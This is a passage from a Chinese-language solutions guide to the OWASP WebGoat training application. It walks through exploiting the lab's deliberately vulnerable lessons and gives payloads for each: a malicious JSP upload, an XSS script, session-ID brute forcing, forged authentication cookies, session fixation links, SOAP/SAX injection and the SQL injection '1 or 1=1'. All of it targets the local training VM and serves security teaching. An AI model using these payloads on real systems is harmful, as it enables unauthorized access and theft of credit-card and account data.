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2.12.1.5 注意事项	

请注意，WebGoat 服务器和您的浏览器客户端必须位于不同的主机，这样才能捕获网

络数据包。 

 

2.13 不安全的配置（Insecure	Configuration）	

2.13.1 强制浏览（How to Exploit Forced Browsing） 

2.13.1.1 技术概念或主题（Concept	/	Topic	To	Teach）	

强行浏览一些本不该访问的 URL 或资源。   

 

2.13.1.2 技术原理（How	It	works）	

强制浏览是黑客用来访问获取那些没有被引用，但仍然允许被访问的资源的技术。一种

方法是操纵浏览器中的 URL，删除结尾部分，直到找到一个不受保护的目录。 

 

2.13.1.3 总体目标（General	Goals）	

您的目标是尝试猜测“config”界面的 URL。“config”的 URL 只提供给维护人员。 

该应用程序没有做垂直权限检查。 

 

2.13.1.4 操作方法（Solutions）	

如果您想访问一个受限制的页面，您需要能够猜测 URL 访问页面，如“/admin”。尝

试使用/WebGoat/config, /WebGoat/configuration, /WebGoat/conf，最后发现 conf 能够成功访

问。 
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2.14 不安全的存储（Insecure	Storage）	

2.14.1 强制浏览（How to Exploit Forced Browsing） 

2.14.1.1 技术概念或主题（Concept	/	Topic	To	Teach）	

在 Web应用程序中会根据不同的应用选择不同的编码方案。   

 

2.14.1.2 技术原理（How	It	works）	

每一个编码方案都有与其相关的算法。 
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2.15 恶意执行（Malicious	Execution）	

2.15.1 恶意文件执行（Malicious File Execution） 

2.15.1.1 技术概念或主题（Concept	/	Topic	To	Teach）	

很多网站允许用户上传文件，例如：图片或是视频。  如果确实有效的安全措施，包含

恶意指令的文件会被上传到服务器并执行。 

 

2.15.1.2 技术原理（How	It	works）	

脚本后门属于典型的恶意文件。 

 

2.15.1.3 总体目标（General	Goals）	

下面的表单允许您上传图片文件，图片上传后显示在当前页面。互联网上的各种论坛或

社交网站很容易找到此类应用。该功能容易被恶意文件执行漏洞利用。 

为了通过本课程，您需要上传一个恶意文件。为证明您的文件能够被执行，它必须能够

创建另一个名为 guest.txt 的文件。 

 

2.15.1.4 操作方法（Solutions）	

第一步是在服务器上创建一个可以运行的文件，该文件运行后会出创建 guest.txt。为完

成该步骤，我们使用了 Java 中 createNewFile()命令。创建一个.jsp 后缀的文件 hacker.jsp，其

代码如下： 

<HTML> <% java.io.File file = new java.io.File("filepath\\guest.txt"); 

file.createNewFile(); %> </HTML> 

<%内为 JSP 代码。该段代码功能是创建一个 guest.ext 文件。其中 filepath 需要您自己

填写成一个指定的路径，注意 Windows 下文件分隔符中\字符需要通过\\转义。Linux 系统下

分隔符为“/”。 

当前测试环境中位置为：/var/lib/tomcat6/webapps/WebGoat/mfe_target/guest.txt 。 

接下来上传恶意 jsp 文件，并找出该文件的位置，从而访问并执行该文件。 

通过图片上传按钮，提交并上传“图片文件”hacker.jsp。 



                                                                              http://www.owasp.org.cn 

  133 / 177 
 

 

由于这不是个合法的图片文件，因此上传成功后我们看到的是一个错误图标。 

 
 

鼠标右键，查看该“图片”的地址。 
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访问该 URL：http://webgoatvm/WebGoat/uploads/hacker.jsp，执行恶意文件。 

 

 
访问该 URL 会看到一个空白页面，刷新课程页面，本课程通过（guest.txt 文件已经被

创建）。 

 

 

2.16 参数篡改（Parameter	Tampering）	

2.16.1 绕过 HTML字段限制（Bypass HTML Field Restrictions） 

2.16.1.1 技术概念或主题（Concept	/	Topic	To	Teach）	

 

客户端验证不应该被认为是一种安全的参数验证方法。这种验证方式只能帮那些不知道

所需输入的用户缩短服务器处理时间。攻击者可以用各种方法轻易的绕过这种机制。任何客

户端验证都应该复制到服务器端。这将大大减少不安全的参数在应用程序中使用的可能性。

在这个练习中，每个输入框中有不同的输入要求，您要做的就是绕过客户端验证机制破坏这

些规则，输入不允许输入的字符。 

 

2.16.1.2 技术原理（How	It	works）	

很多浏览器辅助工具都支持修改HTML或 JavaScript代码，也支持手动提交HTTP数据。 

 

2.16.1.3 总体目标（General	Goals）	

向网站发送超出预期的输入信息。在该练习中，您的任务是破坏客户端校验并向网站发

送非法输入信息，包括部分被禁用的字段。 
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6 个字段必须同时验证。 

 

2.16.1.4 操作方法（Solutions）	

要通过本节课程，您需要在 6 个字段中提交非法字符（斜杠、单引号等）。其中有三个

字段涉及到切换或下来，我们将通过 Webscarab 中断并修改请求。 

我们还需要向禁用的字段写入非法数据。这里有两种方式可以实现：通过 Firebug 插件

启用或通过 Webscarab 修改。 

打开 Firebug，找到 form 表单包含的几个字段，如：disabledinput。删除属性 disabled。

此时页面上的禁用按钮已经实效，控件被激活处于可用状态。该操作所产生的非法输入也会

在 Webscarab 中体现。 

 

另一种选择是是使用 WebScarab 拦截请求，然后手工添加非法字符 disabledinput。 

当您完成输入添加后，记下来是提交验证输入。为每个字段设置不允许的非法字符，确

保至少有 5 个字段的长度超过了系统原先设定的限制。 
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完成修改后，提交数据，通过本课程。 

 

2.16.2 利用隐藏字段（Exploit Hidden Fields） 

2.16.2.1 技术概念或主题（Concept	/	Topic	To	Teach）	

开发人员在加载信息的页面上使用隐藏字段来跟踪、登录、定价等。虽然这是一种方便

且易于开发的机制，他们往往不验证从隐藏字段收到的信息。本课程中，我们将了解如何找

到和修改隐藏字段以便宜的价格购买产品。 

 

2.16.2.2 技术原理（How	It	works）	

不同的 HTTP 参数会触发后端不同的业务逻辑。 
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2.16.2.3 总体目标（General	Goals）	

您需要利用隐藏字段，使用错误的价格购买产品。 

 

2.16.2.4 操作方法（Solutions）	

开启 WebScarab、Firebug 后直接查看源代码，您将能看到代码里多了一个隐藏字段—

—交易额。 

 

 

 

修改隐藏字段数值，然后提交即可完成。 
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2.16.3 利用未检查的 E‐mail（Exploit Unchecked Email） 

2.16.3.1 技术概念或主题（Concept	/	Topic	To	Teach）	

验证所有的输入信息总是不错的做法。多数网站都允许一个非验证的用户给“朋友”发

送 e-mail。对垃圾邮件发送者来说，这是一个绝佳的机制，可以利用公司的邮件服务器来发

送电子邮件。 

 

2.16.3.2 技术原理（How	It	works）	

很多网站对输入数据的合法性未做验证。 
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2.16.3.3 总体目标（General	Goals）	

发送一封令人讨厌的 E-mail。 

 

 

2.16.3.4 操作方法（Solutions）	

发送一封包含跨站脚本攻击代码的邮件。输入<script>alert("XSS")</script>,发送邮

件，实现跨站脚本攻击。 
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将隐藏域中的邮箱修改为其他邮箱，向其他人（bill.gates@microsoft.com）发送恶意

邮件。也可以通过 WebScarab 修改相应的字段。 
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2.16.4 绕过客户端 JavaScript校验（Bypass Client Side 

JavaScript Validation） 

2.16.4.1 技术概念或主题（Concept	/	Topic	To	Teach）	

 

客户端验证不应该被认为是一种安全的方法验证参数。这种验证方式只能帮那些不知道

所需输入的用户缩短服务器处理时间。攻击者可以用各种方法轻易的绕过这种机制。任何客

户端验证都应该复制到服务器端。这将大大减少不安全的参数在应用程序中使用的可能性。

在这个练习中，每个输入框中有不同的输入要求，您要做的就是绕过客户端验证机制破坏这

些规则，输入不允许输入的字符。 

 

2.16.4.2 技术原理（How	It	works）	

很多浏览器辅助工具都支持修改HTML或 JavaScript代码，也支持手动提交HTTP数据。 

 

2.16.4.3 总体目标（General	Goals）	

在这个练习中，每个输入框中有不同的输入要求，您要做的就是绕过客户端验证机制破

坏这些规则，输入不允许输入的字符。 

 

 



                                                                              http://www.owasp.org.cn 

  143 / 177 
 

 

2.16.4.4 操作方法（Solutions）	

2.16.4.4.1 方法一 

正常提交一次数据，并使用 WebScarab 拦截。 

 

 

 
篡改各个字段对应的数据，使之违反校验规则。 

 

 

点击 "Accept changes"提交数据，通过本节课程。 
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2.16.4.4.2 方法二 

重新再也页面“How to bypass Client-Side Javascript Validation”，并启用 WebScarab

拦截服务端响应数据。 
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如果移除 onclick="validate();"，那么 Submit 按钮将无法工作，因此定位到 validate()函数， 

 
 

删除正则校验部分的代码即可移除 JavaScript 校验功能。 
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点击“Accept changes”按钮，则浏览其接收到的 HTML 中将不再有正则校验功能。 

 
 

设定各字段数据，使其违反校验规则。然后提交。 
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服务端返回数据提交成功，完成本课程。 
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2.17 会话管理缺陷（Session	Management	Flaws）	

2.17.1 会话劫持（Hijack a Session） 

2.17.1.1 技术概念或主题（Concept	/	Topic	To	Teach）	

 

开发人员在开发他们的自有会话 ID 时经常忘记整合的复杂性和随机性，这些因素对安

全来说是必须的。如果用户的特定的会话 ID 不具备复杂和随机性，那么应用程序很容易受

到基于会话的暴力攻击的威胁。 

 

2.17.1.2 技术原理（How	It	works）	

会话 ID 一般由 Session 生成，存储在客户端 Cookie 的某个字段中。 

 

2.17.1.3 总体目标（General	Goals）	

本课程的目标是尝试访问一个其他用户的会话（该会话已经过服务器认证）。我们尝试

预测 WEAKID 的数值。WEAKID 用于区别 WebGoat中不同用户（经过认证的或匿名的）。 
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2.17.1.4 操作方法（Solutions）	

完成这一课最容易的方法是使用WebScarab的【Session ID Analysis】。进入WebScarab，

点击【Session ID Analysis】，如果您看不到，则在 WebScarab 工具菜单【Tool】中选择

使用全功能模式（full-featured mode），然后重启 WebScarab 即可。 

 

进入工具上方【SessionID Analysis】选项卡，使用【Previous Requests】下拉菜单

选择最近的消息包含 200 OK 的 GET 请求。其地址以 webgoat/attack 结束，不是图片或 Java

文件。 

 

 
 

接下来，您需要确认 WebScarab 能够捕获 WEAKID cookie。点击工具下方的【Test】按

钮，您将看到弹出的窗口中显示了 WEAKID。 
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如果弹出内容没有找到有效的会话 ID，这意味着已经有一个 WEAKID 值的请求。这会阻

止服务端响应内容通过 HTTP 消息头“Set-Cookie”为客户端设置 Cookie。为了解决这个问

题，删除 Cookie 中 WEAKID=value;部分，然后再次按【Test】。 

现在您需要捕获一系列 WEAKID。在样本字段数目【Samples】中输入“50”，然后点击

【Fetch】按钮。切换到【Analysis】选项卡。从【Session Identifier】下拉菜单中选择

WEAKID。该窗口会弹出 WEAKID 的值。 

WEAK 被分成了两个部分：减号前面的第一部分显示每个 Cookie 以 1 为步幅增加；第二

部分是请求提交时计算出来的时间值。  

注意，有时候 WEAKID 的第一部分会有差距，如：其中一个数值被跳过了。那个丢失的

数值就是我们想要登录的（已经有人使用该 ID 在登录，我们要劫持它）。我们只需要想办

法确定 SESSIONID 右侧的时间字符串。 

通过查看软件界面【Difference】列的内容，很容易找到那个特征的数值。几乎所有的

数值都只是一两部分组成。找到我们需要的数据，双击它们。 
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注意下面的数据，我们发现以 16955 开始的 WEAKID 丢失了，这就是我们要找的。我们

需要做的是补全它的第二部分。 

16964-1312472439375 

16966-1312472439484 

我们将使用暴力猜解方式完成该操作。我们将发送任何可能的请求，直到破解出该时间

值。由上图值，这个 SessionId 介于以下二者之间： 

16964-1312472439375 

16965-????????????? 

16966-1312472439484 

所以 timestamp 值应介于 1312472439375 和 1312472439484。现在我们需要一个工具

来暴力猜解。我们将使用 J-Baah（http://www.sensepost.com/labs/tools/pentest/j-baa

h），该工作最早以 Crowbar 而知名，下载并运行.jar 文件。 

我们需要配置 J-Baah 每次使用不同的 WEAKID 重复发送请求。拷贝从 Collection 选项

卡中找到的用来生成 cookie 的原始 HTTP 请求。将它粘贴到 J-Baah 的请求框中。 

WEAKID 也需要放入请求中，该字段以丢失的 16965 开头。那么如何填写剩下的部分呢？ 

在本例中，我们将把字符串 WEAKID=16965-1312472439##1##添加到请求数据包的

Cookie 参数中。##1##将使用某个范围内的 timestamp 时间字符串替换。 

接下来，我们将设置这个范围。在【Paramter 1】选项卡中设置数值，从 375 开始到

484 结束。 
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J-Baah 设置 

 

最后，回到右下方【Target】选项卡，设置 Host 和 Port 分别为 WebGoat 的主机地址和

端口，80 或 8080（视您的实际部署情况）。 

回到【Action】选项卡，单击【Base Response】。您可以看到左下角中一个响应成功

的消息。修改【Threads】为 2，点击【Start】开始。左下角将充满各种包含“Hijack a session”

的消息内容。 
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一旦猜解成功，则该记录将被高亮显示。 

 

在我们继续深入之前，理解这些操作的原理非常重要。##1##被我们指定在一定范围内

的不同字符串所替代，并用于请求。从 16965-1312472439375 开始，到 16965-1312472439484

结束。J-Baah 收集了所有的响应结果，并在左下角的窗口给与显示。 

每一行显示每个 SessionID 请求所触发的响应，并显示了与其相关的重要信息。 

0.99969 : 417 : : Hijack a Session 

Clicking base response 尝试了第一个 WEAKID，并设置其响应为 Control。第一个数

值表示后续的请求响应与第一个响应之间的相似度。如果该数值为 1，则表示完全相同。这

个数值与 1差距越大，则其响应内容差距也越大！ 

0.99969 : 417 : : Hijack a Session 

第二个数字是用于替换##1## 的数值。 

0.99969 : 417 : : Hijack a Session 

最后是响应页面的 HTML 标题。在该例中是“Hijack a Session”（请求有错误发生时

服务端给出的解释）。 

基本请求响应的相似度值告诉我们对应的 WEAKID 的工作情况。如果一切顺利，那么该

数值将只有三种。再次查看上面截图，有很多相似度为.99969 的响应，只有 1 个.9949 的相

似度，接下来是.99954。这些相似度一直保持相同，直到以 429 结尾的 WEAKDID 出现才改变。

这就是爆破成功的标识！右键该响应内容，点击【Show Response】。 
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暴力破解成功，刷新课程页面通过本节课程。 

 

2.17.2 认证 Cookie欺骗（Spoof an Authentication Cookie） 

2.17.2.1 技术概念或主题（Concept	/	Topic	To	Teach）	

如果验证 cookie 正确，一些应用程序会允许一个用户自动登录到他们的网站。如果能

够获得生成 cookie 的算法，有时 cookie 的值是可以猜到的。有时候 cookie 可能是通过跨站

攻击截获的。在这一课中，我们的目的是了解身份验证 cookie 的方式，并指导您学习突破

这种身份验证 cookie的方法 

 

2.17.2.2 技术原理（How	It	works）	

Cookie 存储在客户端，可随时被篡改用于特别用途。 
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2.17.2.3 总体目标（General	Goals）	

本节课程的目标是绕过认证检查。 

 

 

2.17.2.4 操作方法（Solutions）	

请确认在 WebGoat 中开启了“Show Cookies”功能。您需要在 WebScarab 中禁用"Inject 

know cookies into requests"，否则 WebScarab 将会一直截获您的旧的 cookie，而不是新

的截获。 

 
以 webgoat/webgoat 登录 
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点击“Refresh”，这会刷新显示我们的 AuthCookie。 

 
您现在使用的身份验证是这个 cookie，而不是像上面的参数验证。您会得到 

“AuthCookie”cookie，值为 65432ubphcfx。然后退出登录，以“aspect\aspect”登录。

点击“Refresh”，显示新的“AuthCookie”。现在您有一个新的值。 
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这是一个英文字母的换位。每个字母都是用户名倒过来，并被替换为它后面的，如

T->U,A->B。因此如果以用户“alice”登录，cookie 会将用户名倒转为“ecila”，然后每

个字母向后一位，最终结果为“fdjmb” 

以用户名 alice 登录，通过 WebScarab 截获请求。在已经存在的 JSESSIONID 后面添加

“;AuthCookie=65432fdjmb” 

 
结果是没有输入密码，即可以 alice 进行登录了。 



                                                                              http://www.owasp.org.cn 

  158 / 177 
 

 
 

2.17.3 会话固定（Session Fixation） 

2.17.3.1 技术概念或主题（Concept	/	Topic	To	Teach）	

通过会话固定盗取 Session。 

 

2.17.3.2 技术原理（How	It	works）	

服务器通过每个用户的唯一的 Session ID 来确认其合法性。如果用户已登录，并且授权

他不必重新验证授权时，当他重新登录应用系统时，他的 Session ID 依然是被认为合法的。

在一些程序中，可能会在 GET-REQUEST 请求中传递 Session ID。这就是攻击的起点。 

一个攻击者可以用一个选定的 Session ID 给受害人发送一个超链接。例如，这里有一个

准备好的邮件，它看起来像是一个从应用程序管理员发来的官方邮件。如果受害者点击了这

个链接，并且该受害者以攻击者指定的 ID 登录了系统；那么攻击者可以不经授权直接使用

与受害者相同的 ID 访问该页面。 

 

2.17.3.3 总体目标（General	Goals）	

本节课程有多个步骤，您需要同时扮演攻击者和受害者两个角色。完成该课程后，您将

理解会话固定的原理；同时也将理解使用 GET 请求传递 Session ID 是个很糟糕的主意！ 
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2.17.3.4 操作方法（Solutions）	

第一步：给 Jane 发送一封邮件，这个邮件看起来像是 Goat Hills Financial 发来的包含

一个 Session ID 的链接。邮件已经准备好了，您只需要在连接中加入一个 Session ID。您可

以通过向链接中加入&SID=WHATEVER.当然 WHATEVER 可以用其他字符代替。这个链接

可以是这样： 

 

<a href=http://localhost:8080/WebGoat/attack?Screen=46&menu=320&SID=WHATEVER> 

 

 
点击确定后提交，第一步完成。 

 

第二步：现在您是第一步中的收件人 Jane。这一步很简单，您只需要点击“Goat Hills 

Financial”。 
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第三步：您已经到了“Goat Hills Financial”的登录界面。以 Jane/tarzan 登录。 
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第四步：现在您是黑客 Joe。已经有一个准备好的链接，单击后登录到“Goat Hills 

Financial”页面，当然在现实中，这会有些不同。登录后您会在浏览器中看到您的 SID 是

“NOVALIDSESSION”，将这个 ID 改成“WHATEVER”，然后回车。 
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成功访问后，通过本课程。 

 

 

2.18 Web服务（Web	Services）	

2.18.1 创建 SOAP请求（Create a SOAP Request） 

2.18.1.1 技术概念或主题（Concept	/	Topic	To	Teach）	

Web Services通过使用 SOAP请求进行通信。这个请求提交到一个尝试执行一个 Web服

务描述语言（WSDL）定义的函数的 Web 服务。让我们一起来学习一些关于 WSDL 的文件。

查看一下 WebGoat 的 WSDL 文件。 
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2.18.1.2 技术原理（How	It	works）	

SOAP 通讯过程中，HTTP Content 部分一般是 XML 内容。 

 

2.18.1.3 总体目标（General	Goals）	

 

尝试用浏览器或者 WebService 工具连接 WSDL。WebService 的 URL 地址是： 

http://localhost:8080/WebGoat/services/SoapRequest 

WSDL 通常可被视为在 web 服务请求结束处加入一个 WSDL。点击页面上的“WebGoat 

WSDL”，或者在上面的请求后面加上“?WSDL”即可。 

http://localhost:8080/WebGoat/services/SoapRequest?WSDL 

发起两种以上的 SOAP 操作请求以完成本节课程。 

 

 

2.18.1.4 操作方法（Solutions）	

第一步，我们要得到在 WSDL 中定义了几个操作。访问“WebGoat WSDL”的 URL 查看

Webservices 描述定义语言文件。 

 

进入 WSDL 文件页面，可以看到一共有四个。在页面中输入 4，进入下一步。 
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现在我们需要回答的问题是在“getFirstNameRequest”中“id”的类型是什么。 

 

 

从图中可以看到，答案是“int”。输入后进入第三步。 

 

完成第二步 
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截取请求并调用任何方法，发送一个有效 SOAP（简单对象访问协议）请求的有效的账

户。 

启动 WebScarab，确保“Intercept requests”“Intercept responses”被选中 

POST 改为：POST http://localhost:8080/WebGoat/services/SoapRequest HTTP/1.1 

Content-Type 改为 text/xml 

修改 HTTP Content 代码，最后格式如下： 

POST http://webgoatvm/WebGoat/services/SoapRequest HTTP/1.1 

Host: webgoatvm 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0 

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 

Accept-Encoding: gzip, deflate 

Proxy-Connection: keep-alive 

Referer: http://webgoatvm/WebGoat/attack?Screen=171&menu=1900 

Cookie: JSESSIONID=095FE3EEE0BBFA63E32D2D961F19911A 

Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= 

Content-Type: text/xml 

SOAPAction: 

Content-length: 40 

 

<?xml version="1.0" encoding="UTF-8"?> 

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" 

xmlns:xsd="http://www.w3.org/2001/XMLSchema" 

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> 

<SOAP-ENV:Body> 

<ns1:getFirstName SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" 

xmlns:ns1="http://lessons"> 

<id xsi:type="xsd:int">101</id> 

</ns1:getFirstName> 

</SOAP-ENV:Body> 

</SOAP-ENV:Envelope> 
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从 SOAPAction 头到打开的 XML标记之间不能有空格，这一点非常重要，否则会引发一

个错误信息。 

 

使用 SOAP 参数更新 HTTP request，响应内容是 Joe。 

 

重复以上操作，使用新的 Operation：getLastName。 

 

POST http://webgoatvm/WebGoat/services/SoapRequest HTTP/1.1 

Host: webgoatvm 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 

Firefox/16.0 
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 

Accept-Encoding: gzip, deflate 

Proxy-Connection: keep-alive 

Referer: http://webgoatvm/WebGoat/attack?Screen=171&menu=1900 

Cookie: JSESSIONID=095FE3EEE0BBFA63E32D2D961F19911A 

Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= 

Content-Type: text/xml 

SOAPAction: 

Content-length: 40 

 

<?xml version="1.0" encoding="UTF-8"?> 

<SOAP-ENV:Envelope 

xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" 

xmlns:xsd="http://www.w3.org/2001/XMLSchema" 

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> 

<SOAP-ENV:Body> 

<ns1:getLastName 

SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" 

xmlns:ns1="http://lessons"> 

<id xsi:type="xsd:int">101</id> 

</ns1:getLastName> 

</SOAP-ENV:Body> 

</SOAP-ENV:Envelope> 

 

返回信息用户 LastName为 Snow。 
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刷新左侧导航页面，完成本节课程。 

 

2.18.2 WSDL扫描（WSDL Scanning） 

2.18.2.1 技术概念或主题（Concept	/	Topic	To	Teach）	

Web Services通过使用 SOAP请求进行通信。这个请求提交到一个尝试执行一个 Web服

务描述语言（WSDL）定义的函数的 Web 服务。让我们一起来学习一些关于 WSDL 的文件。

查看一下 WebGoat 的 WSDL 文件。 

 

2.18.2.2 技术原理（How	It	works）	

无 

 

2.18.2.3 总体目标（General	Goals）	

本页面是 Web Service的 API。查看 WSDL 文件，并尝试获取客户的其它信息，如：信用

卡号码。 
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2.18.2.4 操作方法（Solutions）	

启动 WebScarab，任意选择后点提交 

 

使用 WebScarab 截获请求，并将其中的“field=getLastName”改为“field= 

getCreditCard” 
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点击“Accept Changes”后提交数据，返回信息里能够看到 getCreditCard 字段的信息。 

 

 

2.18.3 Web Service SAX注入（Web Service SAX Injection） 

2.18.3.1 技术概念或主题（Concept	/	Topic	To	Teach）	

Web Services通过使用 SOAP请求进行通信。这个请求提交到一个尝试执行一个 Web服

务描述语言（WSDL）定义的函数的 Web 服务。让我们一起来学习一些关于 WSDL 的文件。

查看一下 WebGoat 的 WSDL 文件。 
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2.18.3.2 技术原理（How	It	works）	

无 

 

2.18.3.3 总体目标（General	Goals）	

有些 Web 界面在后台使用 Web Services。如果前端所有输入验证都依赖 Web Services，

那么它可能会破坏 Web界面发送数据的 XML 内容。 

本节课程中，您需要修改除了用户 101 以外的另一个用户的密码。. 

 

. 

 

 

2.18.3.4 操作方法（Solutions）	

SAX 解析器会解析任何格式正常的 XML 文件，例如：匹配到有效的标记符号及闭合符

号即认为正确。当您向原有的 XML 文件中添加新的 changePAssword 元素时，如果 id 和

password 等标记都正确，那么解析器将很乐意帮您去修改另一个 userid 的密码。 

 

在课程页面密码框中输入一个密码，开启 WebScarab。 

点击“Go！”按钮提交数据，在 WebScarab 拦截的请求中修改 XML 文件，在 password

选项中添加如下代码： 

newpassword</password> 

</wsns1:changePassword> 

<wsns1:changePassword> 

<id xsi:type='xsd:int'>102</id> 
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<password xsi:type='xsd:string'>notforyoutoknow 

确定后完成该课程。 

 

 

 

2.18.4 Web Service SQL注入（Web Service SQL Injection） 

2.18.4.1 技术概念或主题（Concept	/	Topic	To	Teach）	

Web Services通过使用 SOAP请求进行通信。这个请求提交到一个尝试执行一个 Web服

务描述语言（WSDL）定义的函数的 Web 服务。让我们一起来学习一些关于 WSDL 的文件。

查看一下 WebGoat 的 WSDL 文件。 

 

2.18.4.2 技术原理（How	It	works）	
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2.18.4.3 总体目标（General	Goals）	

查看 WSDL 文件，并尝试获取多个客户的信用卡帐号。您在屏幕上无法看到返回数据。

完成该课程后，刷新页面，左侧将创先绿色通过标识。 

 

 

2.18.4.4 操作方法（Solutions）	

 

该课程可以通过使用 Web 服务工具 SOAPUI 轻松解决。这里我们使用 WebScarab。进

入到 Web Services，您会看到一个调用的 Web 服务或者 WSDL 历史文件。 

首先，手工访问一次本课程的 WSDL 文件：http://webgoatvm/WebGoat/services/WsSq

lInjection?WSDL  

 
在 WebScarab 中，您可以从顶部的下拉框中选择 WSDL。WebScarab 将解析 XML 文件，所

以您可以选择调用的操作。然后您可以输入一个调用的参数值。在“vaule”输入 1 or 1=1，

点执行，会弹出一个基本身份验证框，输入用户名guest，密码guest，然后点OK，点“Execute”，
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即可返回所有结果。如果没有弹出，可以再 WebScarab 的“"Tools" > "Credentials"”中

选择。您需要选中“Ask when required”。（需要先打开 WSDL 文件，就能在 WebScarab

的 WebServices 中看到相应的内容了。） 

 
双击 value，设置数值为 1 or 1=1，点击【execute】按钮提交数据。幸运的话，您将

看到多个客户的信用卡信息，完成本课程。 

 

 

2.18.4.4.1 说明 

如果您的操作没有任何反应，建议通过下拉菜单再次重新选择 service和 operation。最

好的办法是发起一个原始的 SOAP请求。 

 

2.18.4.5 总体目标（General	Goals）	

本节课程主要让用户熟悉不同的编码方案。 

 



                                                                              http://www.owasp.org.cn 

  175 / 177 
 

2.18.4.6 操作方法（Solutions）	

输入 rot13 后，可查看不同编码结果和描述信息。 

描述 编码 解码 

Base64 编码是一种简单可逆编码，用于编

成 AscII 字符，用于制作可打印的字符串，

但没有提供安全保护。 

cm90MTM= ?u 

实体编码使用特殊的序列如&amp;作为特

殊字符，这样可以防止这些字符被解释。

rot13 rot13 

基于密码的加密（PBE），是强大的文本

密码加密。没有密码无法解密。 

8fahJh9R82A= 非加密字符串 

MD5哈希是一个可以用来验证一个字符串

或字节数组的校验，具有不可逆性，无法

通过逆转找到原始字符串或字节。由于其

加密晦涩难懂，如果可以选择，可以使用
SHA-256. 

Jdc1C0ADL9kz0dcV/UelcA== N/A 

统一编码 没有执行 没有执行 

统一编码 rot13 rot13 

十六进制编码只是简单的把编码字节转换

为%XX 格式。 

%72%6F%74%31%33 字符串不包括十六进

制字符对 

ROT13 是一种使文本不可读的方法，但是

它很容易被逆转，且没有安全保护。 

ebg13 rot13 

XOR 密码编码是一种脆弱的加密方案，它

将密码混合在数据中。 

NQAbU1Y=  

双统一编码 没有执行 没有执行 

双 URL 编码 rot13 rot13 

 

 

2.19 管理功能（Admin	Functions）	

2.19.1 报告卡（Report Card） 

本页面展现了用户学习进度及过关状态等信息。 
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2.20 挑战（Challenge）	

2.20.1 挑战（The CHALLENGE!） 

2.20.1.1 总体目标（General	Goals）	

您的任务是破坏身份验证方案，从数据库中盗取所有的信用卡信息，然后破坏这个网站。

您需要利用您在其他课程中学到的技术。要破坏的主页是“webgoat_challenge_guest.jsp”页

面。 

 

登录： 

使用帐号登录系统。如果您还没有帐号，请查看 OWASP admin 页面。 
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